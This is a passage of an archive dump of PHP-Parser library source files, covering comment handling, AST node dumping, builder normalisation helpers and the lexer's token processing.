not available) */ public function getStartLine() : int { return $this->startLine; } /** * Gets the file offset the comment started on. * * @return int File offset (or -1 if not available) */ public function getStartFilePos() : int { return $this->startFilePos; } /** * Gets the token offset the comment started on. * * @return int Token offset (or -1 if not available) */ public function getStartTokenPos() : int { return $this->startTokenPos; } /** * Gets the line number the comment ends on. * * @return int Line number (or -1 if not available) */ public function getEndLine() : int { return $this->endLine; } /** * Gets the file offset the comment ends on. * * @return int File offset (or -1 if not available) */ public function getEndFilePos() : int { return $this->endFilePos; } /** * Gets the token offset the comment ends on. * * @return int Token offset (or -1 if not available) */ public function getEndTokenPos() : int { return $this->endTokenPos; } /** * Gets the line number the comment started on. * * @deprecated Use getStartLine() instead * * @return int Line number */ public function getLine() : int { return $this->startLine; } /** * Gets the file offset the comment started on. * * @deprecated Use getStartFilePos() instead * * @return int File offset */ public function getFilePos() : int { return $this->startFilePos; } /** * Gets the token offset the comment started on. * * @deprecated Use getStartTokenPos() instead * * @return int Token offset */ public function getTokenPos() : int { return $this->startTokenPos; } /** * Gets the comment text. * * @return string The comment text (including comment delimiters like /*) */ public function __toString() : string { return $this->text; } /** * Gets the reformatted comment text. * * "Reformatted" here means that we try to clean up the whitespace at the * starts of the lines. This is necessary because we receive the comments * without trailing whitespace on the first line, but with trailing whitespace * on all subsequent lines. * * @return mixed|string */ public function getReformattedText() { $text = trim($this->text); $newlinePos = strpos($text, "\n"); if (false === $newlinePos) { // Single line comments don't need further processing return $text; } elseif (preg_match('((*BSR_ANYCRLF)(*ANYCRLF)^.*(?:\R\s+\*.*)+$)', $text)) { // Multi line comment of the type // // /* // * Some text. // * Some more text. // */ // // is handled by replacing the whitespace sequences before the * by a single space return preg_replace('(^\s+\*)m', ' *', $this->text); } elseif (preg_match('(^/\*\*?\s*[\r\n])', $text) && preg_match('(\n(\s*)\*/$)', $text, $matches)) { // Multi line comment of the type // // /* // Some text. // Some more text. // */ // // is handled by removing the whitespace sequence on the line before the closing // */ on all lines. So if the last line is " */", then " " is removed at the // start of all lines. return preg_replace('(^' . preg_quote($matches[1]) . ')m', '', $text); } elseif (preg_match('(^/\*\*?\s*(?!\s))', $text, $matches)) { // Multi line comment of the type // // /* Some text. // Some more text. // Indented text. // Even more text. */ // // is handled by removing the difference between the shortest whitespace prefix on all // lines and the length of the "/* " opening sequence. $prefixLen = $this->getShortestWhitespacePrefixLen(substr($text, $newlinePos + 1)); $removeLen = $prefixLen - strlen($matches[0]); return preg_replace('(^\s{' . $removeLen . '})m', '', $text); } // No idea how to format this comment, so simply return as is return $text; } /** * Get length of shortest whitespace prefix (at the start of a line). * * If there is a line with no prefix whitespace, 0 is a valid return value. * * @param string $str String to check * @return int Length in characters. Tabs count as single characters. */ private function getShortestWhitespacePrefixLen(string $str) : int { $lines = explode("\n", $str); $shortestPrefixLen = \INF; foreach ($lines as $line) { preg_match('(^\s*)', $line, $matches); $prefixLen = strlen($matches[0]); if ($prefixLen < $shortestPrefixLen) { $shortestPrefixLen = $prefixLen; } } return $shortestPrefixLen; } /** * @return array * @psalm-return array{nodeType:string, text:mixed, line:mixed, filePos:mixed} */ public function jsonSerialize() : array { // Technically not a node, but we make it look like one anyway $type = $this instanceof Comment\Doc ? 'Comment_Doc' : 'Comment'; return [ 'nodeType' => $type, 'text' => $this->text, // TODO: Rename these to include "start". 'line' => $this->startLine, 'filePos' => $this->startFilePos, 'tokenPos' => $this->startTokenPos, 'endLine' => $this->endLine, 'endFilePos' => $this->endFilePos, 'endTokenPos' => $this->endTokenPos, ]; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeDumper.php000064400000015303147577714370021556 0ustar00dumpComments = !empty($options['dumpComments']); $this->dumpPositions = !empty($options['dumpPositions']); } /** * Dumps a node or array. * * @param array|Node $node Node or array to dump * @param string|null $code Code corresponding to dumped AST. This only needs to be passed if * the dumpPositions option is enabled and the dumping of node offsets * is desired. * * @return string Dumped value */ public function dump($node, string $code = null) : string { $this->code = $code; return $this->dumpRecursive($node); } protected function dumpRecursive($node) { if ($node instanceof Node) { $r = $node->getType(); if ($this->dumpPositions && null !== $p = $this->dumpPosition($node)) { $r .= $p; } $r .= '('; foreach ($node->getSubNodeNames() as $key) { $r .= "\n " . $key . ': '; $value = $node->$key; if (null === $value) { $r .= 'null'; } elseif (false === $value) { $r .= 'false'; } elseif (true === $value) { $r .= 'true'; } elseif (is_scalar($value)) { if ('flags' === $key || 'newModifier' === $key) { $r .= $this->dumpFlags($value); } elseif ('type' === $key && $node instanceof Include_) { $r .= $this->dumpIncludeType($value); } elseif ('type' === $key && ($node instanceof Use_ || $node instanceof UseUse || $node instanceof GroupUse)) { $r .= $this->dumpUseType($value); } else { $r .= $value; } } else { $r .= str_replace("\n", "\n ", $this->dumpRecursive($value)); } } if ($this->dumpComments && $comments = $node->getComments()) { $r .= "\n comments: " . str_replace("\n", "\n ", $this->dumpRecursive($comments)); } } elseif (is_array($node)) { $r = 'array('; foreach ($node as $key => $value) { $r .= "\n " . $key . ': '; if (null === $value) { $r .= 'null'; } elseif (false === $value) { $r .= 'false'; } elseif (true === $value) { $r .= 'true'; } elseif (is_scalar($value)) { $r .= $value; } else { $r .= str_replace("\n", "\n ", $this->dumpRecursive($value)); } } } elseif ($node instanceof Comment) { return $node->getReformattedText(); } else { throw new \InvalidArgumentException('Can only dump nodes and arrays.'); } return $r . "\n)"; } protected function dumpFlags($flags) { $strs = []; if ($flags & Class_::MODIFIER_PUBLIC) { $strs[] = 'MODIFIER_PUBLIC'; } if ($flags & Class_::MODIFIER_PROTECTED) { $strs[] = 'MODIFIER_PROTECTED'; } if ($flags & Class_::MODIFIER_PRIVATE) { $strs[] = 'MODIFIER_PRIVATE'; } if ($flags & Class_::MODIFIER_ABSTRACT) { $strs[] = 'MODIFIER_ABSTRACT'; } if ($flags & Class_::MODIFIER_STATIC) { $strs[] = 'MODIFIER_STATIC'; } if ($flags & Class_::MODIFIER_FINAL) { $strs[] = 'MODIFIER_FINAL'; } if ($flags & Class_::MODIFIER_READONLY) { $strs[] = 'MODIFIER_READONLY'; } if ($strs) { return implode(' | ', $strs) . ' (' . $flags . ')'; } else { return $flags; } } protected function dumpIncludeType($type) { $map = [ Include_::TYPE_INCLUDE => 'TYPE_INCLUDE', Include_::TYPE_INCLUDE_ONCE => 'TYPE_INCLUDE_ONCE', Include_::TYPE_REQUIRE => 'TYPE_REQUIRE', Include_::TYPE_REQUIRE_ONCE => 'TYPE_REQUIRE_ONCE', ]; if (!isset($map[$type])) { return $type; } return $map[$type] . ' (' . $type . ')'; } protected function dumpUseType($type) { $map = [ Use_::TYPE_UNKNOWN => 'TYPE_UNKNOWN', Use_::TYPE_NORMAL => 'TYPE_NORMAL', Use_::TYPE_FUNCTION => 'TYPE_FUNCTION', Use_::TYPE_CONSTANT => 'TYPE_CONSTANT', ]; if (!isset($map[$type])) { return $type; } return $map[$type] . ' (' . $type . ')'; } /** * Dump node position, if possible. * * @param Node $node Node for which to dump position * * @return string|null Dump of position, or null if position information not available */ protected function dumpPosition(Node $node) { if (!$node->hasAttribute('startLine') || !$node->hasAttribute('endLine')) { return null; } $start = $node->getStartLine(); $end = $node->getEndLine(); if ($node->hasAttribute('startFilePos') && $node->hasAttribute('endFilePos') && null !== $this->code ) { $start .= ':' . $this->toColumn($this->code, $node->getStartFilePos()); $end .= ':' . $this->toColumn($this->code, $node->getEndFilePos()); } return "[$start - $end]"; } // Copied from Error class private function toColumn($code, $pos) { if ($pos > strlen($code)) { throw new \RuntimeException('Invalid position information'); } $lineStartPos = strrpos($code, "\n", $pos - strlen($code)); if (false === $lineStartPos) { $lineStartPos = -1; } return $pos - $lineStartPos; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/BuilderHelpers.php000064400000022035147577714370022425 0ustar00getNode(); } if ($node instanceof Node) { return $node; } throw new \LogicException('Expected node or builder object'); } /** * Normalizes a node to a statement. * * Expressions are wrapped in a Stmt\Expression node. * * @param Node|Builder $node The node to normalize * * @return Stmt The normalized statement node */ public static function normalizeStmt($node) : Stmt { $node = self::normalizeNode($node); if ($node instanceof Stmt) { return $node; } if ($node instanceof Expr) { return new Stmt\Expression($node); } throw new \LogicException('Expected statement or expression node'); } /** * Normalizes strings to Identifier. * * @param string|Identifier $name The identifier to normalize * * @return Identifier The normalized identifier */ public static function normalizeIdentifier($name) : Identifier { if ($name instanceof Identifier) { return $name; } if (\is_string($name)) { return new Identifier($name); } throw new \LogicException('Expected string or instance of Node\Identifier'); } /** * Normalizes strings to Identifier, also allowing expressions. * * @param string|Identifier|Expr $name The identifier to normalize * * @return Identifier|Expr The normalized identifier or expression */ public static function normalizeIdentifierOrExpr($name) { if ($name instanceof Identifier || $name instanceof Expr) { return $name; } if (\is_string($name)) { return new Identifier($name); } throw new \LogicException('Expected string or instance of Node\Identifier or Node\Expr'); } /** * Normalizes a name: Converts string names to Name nodes. * * @param Name|string $name The name to normalize * * @return Name The normalized name */ public static function normalizeName($name) : Name { if ($name instanceof Name) { return $name; } if (is_string($name)) { if (!$name) { throw new \LogicException('Name cannot be empty'); } if ($name[0] === '\\') { return new Name\FullyQualified(substr($name, 1)); } if (0 === strpos($name, 'namespace\\')) { return new Name\Relative(substr($name, strlen('namespace\\'))); } return new Name($name); } throw new \LogicException('Name must be a string or an instance of Node\Name'); } /** * Normalizes a name: Converts string names to Name nodes, while also allowing expressions. * * @param Expr|Name|string $name The name to normalize * * @return Name|Expr The normalized name or expression */ public static function normalizeNameOrExpr($name) { if ($name instanceof Expr) { return $name; } if (!is_string($name) && !($name instanceof Name)) { throw new \LogicException( 'Name must be a string or an instance of Node\Name or Node\Expr' ); } return self::normalizeName($name); } /** * Normalizes a type: Converts plain-text type names into proper AST representation. * * In particular, builtin types become Identifiers, custom types become Names and nullables * are wrapped in NullableType nodes. * * @param string|Name|Identifier|ComplexType $type The type to normalize * * @return Name|Identifier|ComplexType The normalized type */ public static function normalizeType($type) { if (!is_string($type)) { if ( !$type instanceof Name && !$type instanceof Identifier && !$type instanceof ComplexType ) { throw new \LogicException( 'Type must be a string, or an instance of Name, Identifier or ComplexType' ); } return $type; } $nullable = false; if (strlen($type) > 0 && $type[0] === '?') { $nullable = true; $type = substr($type, 1); } $builtinTypes = [ 'array', 'callable', 'string', 'int', 'float', 'bool', 'iterable', 'void', 'object', 'mixed', 'never', ]; $lowerType = strtolower($type); if (in_array($lowerType, $builtinTypes)) { $type = new Identifier($lowerType); } else { $type = self::normalizeName($type); } $notNullableTypes = [ 'void', 'mixed', 'never', ]; if ($nullable && in_array((string) $type, $notNullableTypes)) { throw new \LogicException(sprintf('%s type cannot be nullable', $type)); } return $nullable ? new NullableType($type) : $type; } /** * Normalizes a value: Converts nulls, booleans, integers, * floats, strings and arrays into their respective nodes * * @param Node\Expr|bool|null|int|float|string|array $value The value to normalize * * @return Expr The normalized value */ public static function normalizeValue($value) : Expr { if ($value instanceof Node\Expr) { return $value; } if (is_null($value)) { return new Expr\ConstFetch( new Name('null') ); } if (is_bool($value)) { return new Expr\ConstFetch( new Name($value ? 'true' : 'false') ); } if (is_int($value)) { return new Scalar\LNumber($value); } if (is_float($value)) { return new Scalar\DNumber($value); } if (is_string($value)) { return new Scalar\String_($value); } if (is_array($value)) { $items = []; $lastKey = -1; foreach ($value as $itemKey => $itemValue) { // for consecutive, numeric keys don't generate keys if (null !== $lastKey && ++$lastKey === $itemKey) { $items[] = new Expr\ArrayItem( self::normalizeValue($itemValue) ); } else { $lastKey = null; $items[] = new Expr\ArrayItem( self::normalizeValue($itemValue), self::normalizeValue($itemKey) ); } } return new Expr\Array_($items); } throw new \LogicException('Invalid value'); } /** * Normalizes a doc comment: Converts plain strings to PhpParser\Comment\Doc. * * @param Comment\Doc|string $docComment The doc comment to normalize * * @return Comment\Doc The normalized doc comment */ public static function normalizeDocComment($docComment) : Comment\Doc { if ($docComment instanceof Comment\Doc) { return $docComment; } if (is_string($docComment)) { return new Comment\Doc($docComment); } throw new \LogicException('Doc comment must be a string or an instance of PhpParser\Comment\Doc'); } /** * Normalizes a attribute: Converts attribute to the Attribute Group if needed. * * @param Node\Attribute|Node\AttributeGroup $attribute * * @return Node\AttributeGroup The Attribute Group */ public static function normalizeAttribute($attribute) : Node\AttributeGroup { if ($attribute instanceof Node\AttributeGroup) { return $attribute; } if (!($attribute instanceof Node\Attribute)) { throw new \LogicException('Attribute must be an instance of PhpParser\Node\Attribute or PhpParser\Node\AttributeGroup'); } return new Node\AttributeGroup([$attribute]); } /** * Adds a modifier and returns new modifier bitmask. * * @param int $modifiers Existing modifiers * @param int $modifier Modifier to set * * @return int New modifiers */ public static function addModifier(int $modifiers, int $modifier) : int { Stmt\Class_::verifyModifier($modifiers, $modifier); return $modifiers | $modifier; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Lexer.php000064400000057017147577714370020603 0ustar00defineCompatibilityTokens(); $this->tokenMap = $this->createTokenMap(); $this->identifierTokens = $this->createIdentifierTokenMap(); // map of tokens to drop while lexing (the map is only used for isset lookup, // that's why the value is simply set to 1; the value is never actually used.) $this->dropTokens = array_fill_keys( [\T_WHITESPACE, \T_OPEN_TAG, \T_COMMENT, \T_DOC_COMMENT, \T_BAD_CHARACTER], 1 ); $defaultAttributes = ['comments', 'startLine', 'endLine']; $usedAttributes = array_fill_keys($options['usedAttributes'] ?? $defaultAttributes, true); // Create individual boolean properties to make these checks faster. $this->attributeStartLineUsed = isset($usedAttributes['startLine']); $this->attributeEndLineUsed = isset($usedAttributes['endLine']); $this->attributeStartTokenPosUsed = isset($usedAttributes['startTokenPos']); $this->attributeEndTokenPosUsed = isset($usedAttributes['endTokenPos']); $this->attributeStartFilePosUsed = isset($usedAttributes['startFilePos']); $this->attributeEndFilePosUsed = isset($usedAttributes['endFilePos']); $this->attributeCommentsUsed = isset($usedAttributes['comments']); } /** * Initializes the lexer for lexing the provided source code. * * This function does not throw if lexing errors occur. Instead, errors may be retrieved using * the getErrors() method. * * @param string $code The source code to lex * @param ErrorHandler|null $errorHandler Error handler to use for lexing errors. Defaults to * ErrorHandler\Throwing */ public function startLexing(string $code, ErrorHandler $errorHandler = null) { if (null === $errorHandler) { $errorHandler = new ErrorHandler\Throwing(); } $this->code = $code; // keep the code around for __halt_compiler() handling $this->pos = -1; $this->line = 1; $this->filePos = 0; // If inline HTML occurs without preceding code, treat it as if it had a leading newline. // This ensures proper composability, because having a newline is the "safe" assumption. $this->prevCloseTagHasNewline = true; $scream = ini_set('xdebug.scream', '0'); $this->tokens = @token_get_all($code); $this->postprocessTokens($errorHandler); if (false !== $scream) { ini_set('xdebug.scream', $scream); } } private function handleInvalidCharacterRange($start, $end, $line, ErrorHandler $errorHandler) { $tokens = []; for ($i = $start; $i < $end; $i++) { $chr = $this->code[$i]; if ($chr === "\0") { // PHP cuts error message after null byte, so need special case $errorMsg = 'Unexpected null byte'; } else { $errorMsg = sprintf( 'Unexpected character "%s" (ASCII %d)', $chr, ord($chr) ); } $tokens[] = [\T_BAD_CHARACTER, $chr, $line]; $errorHandler->handleError(new Error($errorMsg, [ 'startLine' => $line, 'endLine' => $line, 'startFilePos' => $i, 'endFilePos' => $i, ])); } return $tokens; } /** * Check whether comment token is unterminated. * * @return bool */ private function isUnterminatedComment($token) : bool { return ($token[0] === \T_COMMENT || $token[0] === \T_DOC_COMMENT) && substr($token[1], 0, 2) === '/*' && substr($token[1], -2) !== '*/'; } protected function postprocessTokens(ErrorHandler $errorHandler) { // PHP's error handling for token_get_all() is rather bad, so if we want detailed // error information we need to compute it ourselves. Invalid character errors are // detected by finding "gaps" in the token array. Unterminated comments are detected // by checking if a trailing comment has a "*/" at the end. // // Additionally, we perform a number of canonicalizations here: // * Use the PHP 8.0 comment format, which does not include trailing whitespace anymore. // * Use PHP 8.0 T_NAME_* tokens. // * Use PHP 8.1 T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG and // T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG tokens used to disambiguate intersection types. $filePos = 0; $line = 1; $numTokens = \count($this->tokens); for ($i = 0; $i < $numTokens; $i++) { $token = $this->tokens[$i]; // Since PHP 7.4 invalid characters are represented by a T_BAD_CHARACTER token. // In this case we only need to emit an error. if ($token[0] === \T_BAD_CHARACTER) { $this->handleInvalidCharacterRange($filePos, $filePos + 1, $line, $errorHandler); } if ($token[0] === \T_COMMENT && substr($token[1], 0, 2) !== '/*' && preg_match('/(\r\n|\n|\r)$/D', $token[1], $matches)) { $trailingNewline = $matches[0]; $token[1] = substr($token[1], 0, -strlen($trailingNewline)); $this->tokens[$i] = $token; if (isset($this->tokens[$i + 1]) && $this->tokens[$i + 1][0] === \T_WHITESPACE) { // Move trailing newline into following T_WHITESPACE token, if it already exists. $this->tokens[$i + 1][1] = $trailingNewline . $this->tokens[$i + 1][1]; $this->tokens[$i + 1][2]--; } else { // Otherwise, we need to create a new T_WHITESPACE token. array_splice($this->tokens, $i + 1, 0, [ [\T_WHITESPACE, $trailingNewline, $line], ]); $numTokens++; } } // Emulate PHP 8 T_NAME_* tokens, by combining sequences of T_NS_SEPARATOR and T_STRING // into a single token. if (\is_array($token) && ($token[0] === \T_NS_SEPARATOR || isset($this->identifierTokens[$token[0]]))) { $lastWasSeparator = $token[0] === \T_NS_SEPARATOR; $text = $token[1]; for ($j = $i + 1; isset($this->tokens[$j]); $j++) { if ($lastWasSeparator) { if (!isset($this->identifierTokens[$this->tokens[$j][0]])) { break; } $lastWasSeparator = false; } else { if ($this->tokens[$j][0] !== \T_NS_SEPARATOR) { break; } $lastWasSeparator = true; } $text .= $this->tokens[$j][1]; } if ($lastWasSeparator) { // Trailing separator is not part of the name. $j--; $text = substr($text, 0, -1); } if ($j > $i + 1) { if ($token[0] === \T_NS_SEPARATOR) { $type = \T_NAME_FULLY_QUALIFIED; } else if ($token[0] === \T_NAMESPACE) { $type = \T_NAME_RELATIVE; } else { $type = \T_NAME_QUALIFIED; } $token = [$type, $text, $line]; array_splice($this->tokens, $i, $j - $i, [$token]); $numTokens -= $j - $i - 1; } } if ($token === '&') { $next = $i + 1; while (isset($this->tokens[$next]) && $this->tokens[$next][0] === \T_WHITESPACE) { $next++; } $followedByVarOrVarArg = isset($this->tokens[$next]) && ($this->tokens[$next][0] === \T_VARIABLE || $this->tokens[$next][0] === \T_ELLIPSIS); $this->tokens[$i] = $token = [ $followedByVarOrVarArg ? \T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG : \T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG, '&', $line, ]; } $tokenValue = \is_string($token) ? $token : $token[1]; $tokenLen = \strlen($tokenValue); if (substr($this->code, $filePos, $tokenLen) !== $tokenValue) { // Something is missing, must be an invalid character $nextFilePos = strpos($this->code, $tokenValue, $filePos); $badCharTokens = $this->handleInvalidCharacterRange( $filePos, $nextFilePos, $line, $errorHandler); $filePos = (int) $nextFilePos; array_splice($this->tokens, $i, 0, $badCharTokens); $numTokens += \count($badCharTokens); $i += \count($badCharTokens); } $filePos += $tokenLen; $line += substr_count($tokenValue, "\n"); } if ($filePos !== \strlen($this->code)) { if (substr($this->code, $filePos, 2) === '/*') { // Unlike PHP, HHVM will drop unterminated comments entirely $comment = substr($this->code, $filePos); $errorHandler->handleError(new Error('Unterminated comment', [ 'startLine' => $line, 'endLine' => $line + substr_count($comment, "\n"), 'startFilePos' => $filePos, 'endFilePos' => $filePos + \strlen($comment), ])); // Emulate the PHP behavior $isDocComment = isset($comment[3]) && $comment[3] === '*'; $this->tokens[] = [$isDocComment ? \T_DOC_COMMENT : \T_COMMENT, $comment, $line]; } else { // Invalid characters at the end of the input $badCharTokens = $this->handleInvalidCharacterRange( $filePos, \strlen($this->code), $line, $errorHandler); $this->tokens = array_merge($this->tokens, $badCharTokens); } return; } if (count($this->tokens) > 0) { // Check for unterminated comment $lastToken = $this->tokens[count($this->tokens) - 1]; if ($this->isUnterminatedComment($lastToken)) { $errorHandler->handleError(new Error('Unterminated comment', [ 'startLine' => $line - substr_count($lastToken[1], "\n"), 'endLine' => $line, 'startFilePos' => $filePos - \strlen($lastToken[1]), 'endFilePos' => $filePos, ])); } } } /** * Fetches the next token. * * The available attributes are determined by the 'usedAttributes' option, which can * be specified in the constructor. The following attributes are supported: * * * 'comments' => Array of PhpParser\Comment or PhpParser\Comment\Doc instances, * representing all comments that occurred between the previous * non-discarded token and the current one. * * 'startLine' => Line in which the node starts. * * 'endLine' => Line in which the node ends. * * 'startTokenPos' => Offset into the token array of the first token in the node. * * 'endTokenPos' => Offset into the token array of the last token in the node. * * 'startFilePos' => Offset into the code string of the first character that is part of the node. * * 'endFilePos' => Offset into the code string of the last character that is part of the node. * * @param mixed $value Variable to store token content in * @param mixed $startAttributes Variable to store start attributes in * @param mixed $endAttributes Variable to store end attributes in * * @return int Token id */ public function getNextToken(&$value = null, &$startAttributes = null, &$endAttributes = null) : int { $startAttributes = []; $endAttributes = []; while (1) { if (isset($this->tokens[++$this->pos])) { $token = $this->tokens[$this->pos]; } else { // EOF token with ID 0 $token = "\0"; } if ($this->attributeStartLineUsed) { $startAttributes['startLine'] = $this->line; } if ($this->attributeStartTokenPosUsed) { $startAttributes['startTokenPos'] = $this->pos; } if ($this->attributeStartFilePosUsed) { $startAttributes['startFilePos'] = $this->filePos; } if (\is_string($token)) { $value = $token; if (isset($token[1])) { // bug in token_get_all $this->filePos += 2; $id = ord('"'); } else { $this->filePos += 1; $id = ord($token); } } elseif (!isset($this->dropTokens[$token[0]])) { $value = $token[1]; $id = $this->tokenMap[$token[0]]; if (\T_CLOSE_TAG === $token[0]) { $this->prevCloseTagHasNewline = false !== strpos($token[1], "\n") || false !== strpos($token[1], "\r"); } elseif (\T_INLINE_HTML === $token[0]) { $startAttributes['hasLeadingNewline'] = $this->prevCloseTagHasNewline; } $this->line += substr_count($value, "\n"); $this->filePos += \strlen($value); } else { $origLine = $this->line; $origFilePos = $this->filePos; $this->line += substr_count($token[1], "\n"); $this->filePos += \strlen($token[1]); if (\T_COMMENT === $token[0] || \T_DOC_COMMENT === $token[0]) { if ($this->attributeCommentsUsed) { $comment = \T_DOC_COMMENT === $token[0] ? new Comment\Doc($token[1], $origLine, $origFilePos, $this->pos, $this->line, $this->filePos - 1, $this->pos) : new Comment($token[1], $origLine, $origFilePos, $this->pos, $this->line, $this->filePos - 1, $this->pos); $startAttributes['comments'][] = $comment; } } continue; } if ($this->attributeEndLineUsed) { $endAttributes['endLine'] = $this->line; } if ($this->attributeEndTokenPosUsed) { $endAttributes['endTokenPos'] = $this->pos; } if ($this->attributeEndFilePosUsed) { $endAttributes['endFilePos'] = $this->filePos - 1; } return $id; } throw new \RuntimeException('Reached end of lexer loop'); } /** * Returns the token array for current code. * * The token array is in the same format as provided by the * token_get_all() function and does not discard tokens (i.e. * whitespace and comments are included). The token position * attributes are against this token array. * * @return array Array of tokens in token_get_all() format */ public function getTokens() : array { return $this->tokens; } /** * Handles __halt_compiler() by returning the text after it. * * @return string Remaining text */ public function handleHaltCompiler() : string { // text after T_HALT_COMPILER, still including (); $textAfter = substr($this->code, $this->filePos); // ensure that it is followed by (); // this simplifies the situation, by not allowing any comments // in between of the tokens. if (!preg_match('~^\s*\(\s*\)\s*(?:;|\?>\r?\n?)~', $textAfter, $matches)) { throw new Error('__HALT_COMPILER must be followed by "();"'); } // prevent the lexer from returning any further tokens $this->pos = count($this->tokens); // return with (); removed return substr($textAfter, strlen($matches[0])); } private function defineCompatibilityTokens() { static $compatTokensDefined = false; if ($compatTokensDefined) { return; } $compatTokens = [ // PHP 7.4 'T_BAD_CHARACTER', 'T_FN', 'T_COALESCE_EQUAL', // PHP 8.0 'T_NAME_QUALIFIED', 'T_NAME_FULLY_QUALIFIED', 'T_NAME_RELATIVE', 'T_MATCH', 'T_NULLSAFE_OBJECT_OPERATOR', 'T_ATTRIBUTE', // PHP 8.1 'T_ENUM', 'T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG', 'T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG', 'T_READONLY', ]; // PHP-Parser might be used together with another library that also emulates some or all // of these tokens. Perform a sanity-check that all already defined tokens have been // assigned a unique ID. $usedTokenIds = []; foreach ($compatTokens as $token) { if (\defined($token)) { $tokenId = \constant($token); $clashingToken = $usedTokenIds[$tokenId] ?? null; if ($clashingToken !== null) { throw new \Error(sprintf( 'Token %s has same ID as token %s, ' . 'you may be using a library with broken token emulation', $token, $clashingToken )); } $usedTokenIds[$tokenId] = $token; } } // Now define any tokens that have not yet been emulated. Try to assign IDs from -1 // downwards, but skip any IDs that may already be in use. $newTokenId = -1; foreach ($compatTokens as $token) { if (!\defined($token)) { while (isset($usedTokenIds[$newTokenId])) { $newTokenId--; } \define($token, $newTokenId); $newTokenId--; } } $compatTokensDefined = true; } /** * Creates the token map. * * The token map maps the PHP internal token identifiers * to the identifiers used by the Parser. Additionally it * maps T_OPEN_TAG_WITH_ECHO to T_ECHO and T_CLOSE_TAG to ';'. * * @return array The token map */ protected function createTokenMap() : array { $tokenMap = []; // 256 is the minimum possible token number, as everything below // it is an ASCII value for ($i = 256; $i < 1000; ++$i) { if (\T_DOUBLE_COLON === $i) { // T_DOUBLE_COLON is equivalent to T_PAAMAYIM_NEKUDOTAYIM $tokenMap[$i] = Tokens::T_PAAMAYIM_NEKUDOTAYIM; } elseif(\T_OPEN_TAG_WITH_ECHO === $i) { // T_OPEN_TAG_WITH_ECHO with dropped T_OPEN_TAG results in T_ECHO $tokenMap[$i] = Tokens::T_ECHO; } elseif(\T_CLOSE_TAG === $i) { // T_CLOSE_TAG is equivalent to ';' $tokenMap[$i] = ord(';'); } elseif ('UNKNOWN' !== $name = token_name($i)) { if ('T_HASHBANG' === $name) { // HHVM uses a special token for #! hashbang lines $tokenMap[$i] = Tokens::T_INLINE_HTML; } elseif (defined($name = Tokens::class . '::' . $name)) { // Other tokens can be mapped directly $tokenMap[$i] = constant($name); } } } // HHVM uses a special token for numbers that overflow to double if (defined('T_ONUMBER')) { $tokenMap[\T_ONUMBER] = Tokens::T_DNUMBER; } // HHVM also has a separate token for the __COMPILER_HALT_OFFSET__ constant if (defined('T_COMPILER_HALT_OFFSET')) { $tokenMap[\T_COMPILER_HALT_OFFSET] = Tokens::T_STRING; } // Assign tokens for which we define compatibility constants, as token_name() does not know them. $tokenMap[\T_FN] = Tokens::T_FN; $tokenMap[\T_COALESCE_EQUAL] = Tokens::T_COALESCE_EQUAL; $tokenMap[\T_NAME_QUALIFIED] = Tokens::T_NAME_QUALIFIED; $tokenMap[\T_NAME_FULLY_QUALIFIED] = Tokens::T_NAME_FULLY_QUALIFIED; $tokenMap[\T_NAME_RELATIVE] = Tokens::T_NAME_RELATIVE; $tokenMap[\T_MATCH] = Tokens::T_MATCH; $tokenMap[\T_NULLSAFE_OBJECT_OPERATOR] = Tokens::T_NULLSAFE_OBJECT_OPERATOR; $tokenMap[\T_ATTRIBUTE] = Tokens::T_ATTRIBUTE; $tokenMap[\T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG] = Tokens::T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG; $tokenMap[\T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG] = Tokens::T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG; $tokenMap[\T_ENUM] = Tokens::T_ENUM; $tokenMap[\T_READONLY] = Tokens::T_READONLY; return $tokenMap; } private function createIdentifierTokenMap(): array { // Based on semi_reserved production. return array_fill_keys([ \T_STRING, \T_STATIC, \T_ABSTRACT, \T_FINAL, \T_PRIVATE, \T_PROTECTED, \T_PUBLIC, \T_READONLY, \T_INCLUDE, \T_INCLUDE_ONCE, \T_EVAL, \T_REQUIRE, \T_REQUIRE_ONCE, \T_LOGICAL_OR, \T_LOGICAL_XOR, \T_LOGICAL_AND, \T_INSTANCEOF, \T_NEW, \T_CLONE, \T_EXIT, \T_IF, \T_ELSEIF, \T_ELSE, \T_ENDIF, \T_ECHO, \T_DO, \T_WHILE, \T_ENDWHILE, \T_FOR, \T_ENDFOR, \T_FOREACH, \T_ENDFOREACH, \T_DECLARE, \T_ENDDECLARE, \T_AS, \T_TRY, \T_CATCH, \T_FINALLY, \T_THROW, \T_USE, \T_INSTEADOF, \T_GLOBAL, \T_VAR, \T_UNSET, \T_ISSET, \T_EMPTY, \T_CONTINUE, \T_GOTO, \T_FUNCTION, \T_CONST, \T_RETURN, \T_PRINT, \T_YIELD, \T_LIST, \T_SWITCH, \T_ENDSWITCH, \T_CASE, \T_DEFAULT, \T_BREAK, \T_ARRAY, \T_CALLABLE, \T_EXTENDS, \T_IMPLEMENTS, \T_NAMESPACE, \T_TRAIT, \T_INTERFACE, \T_CLASS, \T_CLASS_C, \T_TRAIT_C, \T_FUNC_C, \T_METHOD_C, \T_LINE, \T_FILE, \T_DIR, \T_NS_C, \T_HALT_COMPILER, \T_FN, \T_MATCH, ], true); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/ParserFactory.php000064400000003116147577714370022277 0ustar00decodeRecursive($value); } private function decodeRecursive($value) { if (\is_array($value)) { if (isset($value['nodeType'])) { if ($value['nodeType'] === 'Comment' || $value['nodeType'] === 'Comment_Doc') { return $this->decodeComment($value); } return $this->decodeNode($value); } return $this->decodeArray($value); } return $value; } private function decodeArray(array $array) : array { $decodedArray = []; foreach ($array as $key => $value) { $decodedArray[$key] = $this->decodeRecursive($value); } return $decodedArray; } private function decodeNode(array $value) : Node { $nodeType = $value['nodeType']; if (!\is_string($nodeType)) { throw new \RuntimeException('Node type must be a string'); } $reflectionClass = $this->reflectionClassFromNodeType($nodeType); /** @var Node $node */ $node = 